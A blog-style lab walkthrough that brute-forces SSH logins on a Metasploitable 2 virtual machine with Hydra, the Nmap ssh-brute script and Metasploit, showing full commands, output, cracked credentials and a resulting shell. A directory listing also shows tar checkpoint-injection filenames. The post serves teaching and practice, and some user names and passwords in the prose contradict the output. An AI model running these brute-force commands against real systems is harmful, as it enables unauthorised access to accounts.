-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label nmap. Show all posts
Showing posts with label nmap. Show all posts
  • Brute Force and Password Cracking Live via three different tools

     

    Brute Force and Password Cracking Live via three different tools

     


    Representation


    You are a Penetration Tester hired by the company Hacking Truth to perform Password cracking/Brute Force tests on their internal Web Application and machines after knowing usernames and some kind of security test. You are asked to perform the penetration test on the client premises.



    Brute Force and Password Cracking Live on Metasploitable 2 via three different tools



    In this metasploitable2 environment, we get access to a Kali GUI instance. An SSH server can be accessed using the tools installed on Kali on virtual machine

    Objective: Perform the following activities:

    1. Find the password of user "msfadmin" using Hydra. Use password dictionary: //home/hackerboy/Desktop/Penetration-tester-jr/user.txt or rockyou.txt

    2. Find the password of user "msfadmin" use appropriate Nmap script. Use password dictionary list bydefault: /usr/share/nmap/nselib/data/passwords.lst and the user list is here /home/hackerboy/Desktop/Penetration-tester-jr/user1.txt

    3. Find the password of user "msfadmin" using the ssh_login Metasploit module. Use userpass dictionary: /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt

     

     

    Tools


    The best tools for this lab are:

    # Metasploit Framework
    # Hydra
    # Nmap

     

     


    Check the interfaces present on the Kali machine.

    Command - ifconfig

     

    Brute Force and Password Cracking Live via three different tools

     

     There are interface eth0 available and the ip is 192.168.6.45.




    Using Hydra


    Use Hydra to launch a dictionary attack on the SSH service for the "student" user.

    Hydra

    # Multi-threaded authentication brute force tool
    # Supports numerous protocols, including FTP, HTTP, IMAP, IRC, LDAP, SSH, VNC, etc.
    # Written in C


    Hydra help option

     


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ hydra -h                                                                                       
    Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    
    Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
    
    Options:
      -R        restore a previous aborted/crashed session
      -I        ignore an existing restore file (don't wait 10 seconds)
      -S        perform an SSL connect
      -s PORT   if the service is on a different default port, define it here
      -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
      -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
      -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
      -y        disable use of symbols in bruteforce, see above
      -r        use a non-random shuffling method for option -x
      -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
      -u        loop around users, not passwords (effective! implied with -x)
      -C FILE   colon separated "login:pass" format, instead of -L/-P options
      -M FILE   list of servers to attack, one entry per line, ':' to specify port
      -o FILE   write found login/password pairs to FILE instead of stdout
      -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
      -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
      -t TASKS  run TASKS number of connects in parallel per target (default: 16)
      -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
      -w / -W TIME  wait time for a response (32) / between connects per thread (0)
      -c TIME   wait time per login attempt over all threads (enforces -t 1)
      -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
      -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
      -O        use old SSL v2 and v3
      -K        do not redo failed attempts (good for -M mass scanning)
      -q        do not print messages about connection errors
      -U        service module usage details
      -m OPT    options specific for a module, see -U output for information
      -h        more command line options (COMPLETE HELP)
      server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
      service   the service to crack (see below for supported protocols)
      OPT       some service modules support additional input (-U for module help)
    
    Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
    
    Hydra is a tool to guess/crack valid login/password pairs.
    Licensed under AGPL v3.0. The newest version is always available at;
    https://github.com/vanhauser-thc/thc-hydra
    Please don't use in military or secret service organizations, or for illegal
    purposes. (This is a wish and non-binding - most such people do not care about
    laws and ethics anyway - and tell themselves they are one of the good ones.)
    These services were not compiled in: afp ncp oracle sapr3 smb2.
    
    Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
    E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
         % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
         % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
         % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)
    
    Examples:
      hydra -l user -P passlist.txt ftp://192.168.0.1
      hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
      hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
      hydra -l admin -p password ftp://[192.168.0.0/24]/
      hydra -L logins.txt -P pws.txt -M targets.txt ssh
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$                   
    



    We are going to use wordlist /home/hackerboy/Desktop/Penetration-tester-jr/user.txt or rockyou.txt


    Now, use the Hydra tool to launch the attack.



    Command

    hydra -l msfadmin -P /home/hackerboy/Desktop/Penetration-tester-jr/user.txt ssh://192.168.6.45

    -l
    Login with a single username

    -P
    Load several passwords from the list


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ hydra -l msfadmin -P /home/hackerboy/Desktop/Penetration-tester-jr/user.txt ssh://192.168.6.45 
    Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-24 20:33:02
    [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
    [DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:1/p:13), ~1 try per task
    [DATA] attacking ssh://192.168.6.45:22/
    [22][ssh] host: 192.168.6.45   login: msfadmin   password: msfadmin
    1 of 1 target successfully completed, 1 valid password found
    [WARNING] Writing restore file because 1 final worker threads did not complete until end.
    [ERROR] 1 target did not resolve or could not be connected
    [ERROR] 0 target did not complete
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-24 20:33:05
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$                                                                                                                            
    
    
    


    Brute Force and Password Cracking Live via three different tools



    The password for the msfadmin user is msfadmin.




    Using Nmap Script


    We will run ssh-brute Nmap script to find the password of the "administrator" user.

    Password List to be used bydefault via nmap

    /usr/share/john/password.lst


    /home/hackerboy/Desktop/Penetration-tester-jr/user1.txt




    ssh-brute script


    ssh-brute.nse is a Nmap script used to launch dictionary attacks on the SSH service.

    This script takes a username and password list files. This is useful when the target username is not known to the attacker. However, in this case, we are already aware of the username i.e. "administrator". So, we will create a new file containing only this username.


    Command


    echo "msfadmin" > users1.txt

    NOTE- msfadmin is our username



    The password list is "/usr/share/nmap/nselib/data/passwords.lst".

    We can now run the script,


    Command

    nmap -p 22 --script ssh-brute --script-args userdb=/home/hackerboy/Desktop/Penetration-tester-jr/user1.txt 192.168.6.45


     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ sudo nmap -p 22 --script ssh-brute --script-args userdb=/home/hackerboy/Desktop/Penetration-tester-jr/user1.txt 192.168.6.45 
    [sudo] password for hackerboy: 
    Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-24 20:35 IST
    NSE: [ssh-brute] Trying username/password pair: msfadmin:msfadmin
    NSE: [ssh-brute] Trying username/password pair: msfadmin:
    NSE: [ssh-brute] Trying username/password pair: msfadmin:123456
    NSE: [ssh-brute] Trying username/password pair: msfadmin:12345
    NSE: [ssh-brute] Trying username/password pair: msfadmin:123456789
    Nmap scan report for 192.168.6.45
    Host is up (0.00036s latency).
    
    PORT   STATE SERVICE
    22/tcp open  ssh
    | ssh-brute: 
    |   Accounts: 
    |     msfadmin:msfadmin - Valid credentials
    |_  Statistics: Performed 5 guesses in 13 seconds, average tps: 0.4
    MAC Address: 08:00:27:67:67:30 (Oracle VirtualBox virtual NIC)
    
    Nmap done: 1 IP address (1 host up) scanned in 23.21 seconds
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
    
    
    
    

     

    Brute Force and Password Cracking Live via three different tools

     


    The password of the "msfadmin" user is msfadmin






    Using Metasploit


    We can use

    auxiliary/scanner/ssh/ssh_login

    auxiliary module of the Metasploit framework to find the valid password for the "msfadmin" user.

    ssh_login module

    It is an auxiliary scanner module for ssh service in Metasploit. It also pops up an SSH shell on success.


    Start msfconsole in quite mode using
    -q
    option



    Command

    msfconsole -q

     



    Use the auxiliary/scanner/ssh/ssh_login module and set all required target details i.e RHOSTS, USERPASS_FILE, STOP_ON_SUCCESS, verbose etc.



    Password List

    /usr/share/wordlists/metasploit/root_userpass.txt or /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt

     

    Command

    use auxiliary/scanner/ssh/ssh_login
    set RHOSTS demo.ine.local
    set USERPASS_FILE /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
    set STOP_ON_SUCCESS true
    set verbose true
    exploit




    RHOSTS
    : Target IP address

    USERPASS_FILE
    : Custom Username and Password file i.e user:pass


    STOP_ON_SUCCESS
    : If set to
    true

    -the operation stops after finding the working credentials


    verbose
    : If set to
    true

    -operation logs will be shown on console 

     

     

    hackingtruth.in
    userpass.txt

     

     

     



     

    msf6 >
    msf6 > search ssh_login
    
    Matching Modules
    ================
    
       #  Name                                    Disclosure Date  Rank    Check  Description
       -  ----                                    ---------------  ----    -----  -----------
       0  auxiliary/scanner/ssh/ssh_login                          normal  No     SSH Login Check Scanner
       1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login Scanner
    
    
    Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey
    
    msf6 > use 0
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    
    
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.6.45
    RHOSTS => 192.168.6.45
    msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
    USERPASS_FILE => /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
    msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
    STOP_ON_SUCCESS => true
    msf6 auxiliary(scanner/ssh/ssh_login) > set verbose true
    verbose => true
    msf6 auxiliary(scanner/ssh/ssh_login) > exploit
    
    [*] 192.168.6.45:22 - Starting bruteforce
    [-] 192.168.6.45:22 - Failed: 'hackerboy:hackerbo'
    [-] 192.168.6.45:22 - Failed: 'hackerboy:hacker'
    [-] 192.168.6.45:22 - Failed: 'hackerboy:atul'
    [-] 192.168.6.45:22 - Failed: 'hackerboy:atulthehackerboy'
    [-] 192.168.6.45:22 - Failed: 'hackerboy:fadsg'
    [-] 192.168.6.45:22 - Failed: 'hackerboy:fdasg'
    [+] 192.168.6.45:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
    [*] Command shell session 2 opened (192.168.6.25:42191 -> 192.168.6.45:22 ) at 2021-12-24 20:00:21 +0530
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    
    

     

     

    Brute Force and Password Cracking Live via three different tools



    The password for the "msfadmin" user is attack. The tools have also provided an SSH shell.

    Command

    sessions

     

     

    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > sessions
    
    Active sessions
    ===============
    
      Id  Name  Type         Information                                Connection
      --  ----  ----         -----------                                ----------
      1         shell linux  SSH hackerboy:hackerboy (192.168.6.25:22)  192.168.6.25:41331 -> 192.168.6.25:22  (192.168.6.25)
      2         shell linux  SSH msfadmin:msfadmin (192.168.6.45:22)    192.168.6.25:42191 -> 192.168.6.45:22  (192.168.6.45)
    
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    
    

     

     



    Metasploit framework takes more time for dictionary attacks in comparison to Hydra and Nmap.

    We can use the credentials to access the target machine using the SSH command.



    SSH to the target machine using the credentials of user "root".


    Command

    ssh msfadmin@192.168.6.45
    <yes>
    <attack>
    id
    whoami
    ls -la


     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$                                                                                                                             130 ⨯
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ ssh msfadmin@192.168.6.45                                                                                                   130 ⨯
    The authenticity of host '192.168.6.45 (192.168.6.45)' can't be established.
    RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
    This host key is known by the following other names/addresses:
        ~/.ssh/known_hosts:2: [hashed name]
        ~/.ssh/known_hosts:6: [hashed name]
        ~/.ssh/known_hosts:80: [hashed name]
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '192.168.6.45' (RSA) to the list of known hosts.
    msfadmin@192.168.6.45's password: 
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
    
    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.
    
    To access official Ubuntu documentation, please visit:
    http://help.ubuntu.com/
    No mail.
    Last login: Fri Dec 24 09:17:35 2021
    msfadmin@metasploitable:~$ id
    uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
    msfadmin@metasploitable:~$       
    msfadmin@metasploitable:~$ whoami
    msfadmin
    msfadmin@metasploitable:~$ 
    msfadmin@metasploitable:~$ ls -la
    total 68
    drwxr-xr-x 7 msfadmin msfadmin 4096 2021-07-09 16:15 .
    drwxrwxrwx 7 root     root     4096 2021-06-02 05:32 ..
    lrwxrwxrwx 1 root     root        9 2012-05-14 00:26 .bash_history -> /dev/null
    -rw-r--r-- 1 msfadmin msfadmin    1 2021-06-02 06:04 --checkpoint=1
    -rw-r--r-- 1 msfadmin msfadmin    1 2021-06-02 06:03 --checkpoint-action=exec=sh test.sh
    -rw-r--r-- 1 msfadmin msfadmin    0 2020-12-05 10:37 data.txt
    drwxr-xr-x 4 msfadmin msfadmin 4096 2010-04-17 14:11 .distcc
    drwx------ 2 msfadmin msfadmin 4096 2021-07-13 06:25 .gconf
    drwx------ 2 msfadmin msfadmin 4096 2021-07-13 06:25 .gconfd
    -rw-r--r-- 1 msfadmin msfadmin  891 2021-04-25 08:20 index.html
    -rw-r--r-- 1 msfadmin msfadmin  891 2021-04-25 08:20 index.html.1
    -rw-r--r-- 1 msfadmin msfadmin   14 2021-04-25 08:22 index.html.2
    -rw------- 1 root     root     4174 2012-05-14 02:01 .mysql_history
    -rw-r--r-- 1 msfadmin msfadmin  586 2010-03-16 19:12 .profile
    -rwx------ 1 msfadmin msfadmin    4 2012-05-20 14:22 .rhosts
    drwx------ 2 msfadmin msfadmin 4096 2020-12-05 10:18 .ssh
    -rw-r--r-- 1 msfadmin msfadmin    0 2010-05-07 14:38 .sudo_as_admin_successful
    -rw-r--r-- 1 msfadmin msfadmin   56 2021-06-02 06:03 test.sh
    drwxr-xr-x 6 msfadmin msfadmin 4096 2010-04-27 23:44 vulnerable
    msfadmin@metasploitable:~$ 
    
    
    

     


    This is how we can launch dictionary attacks on services using Hydra, Nmap, and Metasploit.



    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

     

  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.